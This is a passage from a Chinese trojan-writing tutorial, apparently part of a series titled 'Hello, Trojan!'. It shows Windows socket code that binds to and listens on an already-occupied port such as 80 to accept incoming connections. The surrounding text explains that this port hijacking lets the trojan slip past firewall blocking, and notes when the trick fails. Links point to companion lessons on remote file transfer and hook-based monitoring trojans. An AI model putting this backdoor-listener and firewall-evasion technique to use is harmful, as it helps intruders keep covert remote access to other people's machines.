	ret = bind(socketListen, (struct sockaddr *)&socketListenAddr, sizeof(socketListenAddr));
	if (printError("bind", ret))
	{
		return;
	}

	// 开始监听
	ret = listen(socketListen, 2);
	if (printError("listen", ret))
	{
		return;
	}

	// 如果客户请求 80端口,接受连接
	iAddrSize = sizeof(socketListenAddr);
	socketConn = accept(socketListen, (struct sockaddr *)&socketListenAddr, &iAddrSize);

	/*
	 * socket 已经拿到了,以下就省略了
	 */

	system("pause");
}

BOOL printError(char *str, int ret) 
{
	// 如果返回不为 0 则有错
	if (ret != 0)
	{
		printf("%s error:%dn", str, GetLastError());
		system("pause");
		return TRUE;
	} else {
		return FALSE;
	}
}

好了,鸠占鹊巢之后就可以逃出防火墙的阻拦一马平川了。不过需要注意的是如果要重用的端口设置了 SO_EXCLUSIVEADDRUSE 之类的东西就无法使用这招,在 bind 的时候会碰到 10013 的错误。就只能考虑换个端口来重用了。

文章索引

上一讲:木马,你好!(四)远程文件传送
下一讲:木马,你好!(六)Hook 监听木马